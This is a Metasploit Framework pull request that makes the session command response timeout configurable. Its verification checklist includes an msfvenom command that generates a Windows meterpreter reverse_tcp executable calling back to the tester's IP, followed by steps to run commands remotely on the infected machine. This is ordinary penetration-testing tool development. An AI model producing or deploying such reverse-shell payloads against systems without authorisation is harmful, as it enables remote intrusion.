rapid7/metasploit-framework — pull request #4442 by wchen-r7 (2014-12-20 06:40:39+00:00)
Title: Fix #4431 - Support arbitrary session response timeout

Fix #4431

This improves a problem with the session command idling too long, making it look like it's unresponsive or dead from the user's perspective. Painful to use against multiple hosts especially when using -c (execute). Instead of having a hardcoded timeout, this patch allows the value to be configurable.

## Verification

Make sure to do this:

- [ ] ```./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Your IP] -f exe > /tmp/x86.exe```
- [ ] Copy and paste x86.exe to a Windows machine
- [ ] Start msfconsole
- [ ] Get a meterpreter session (I'm kind of lazy typing all the instructions so I hope you know how to do this step)
- [ ] At the meterpreter prompt, type "background", and you will switch to the msf prompt
- [ ] Do: ```sessions -c calc -t 1```
- [ ] You should see a calc on the Windows machine.
- [ ] After a second, you should also see an Operation Timeout on msfconsole
- [ ] Do ```sessions -c calc```
- [ ] You should also see calc again
- [ ] This time, you will wait about 15 seconds to see the Operation Timeout on msfconsole

If you want, you can also test other sessions flags.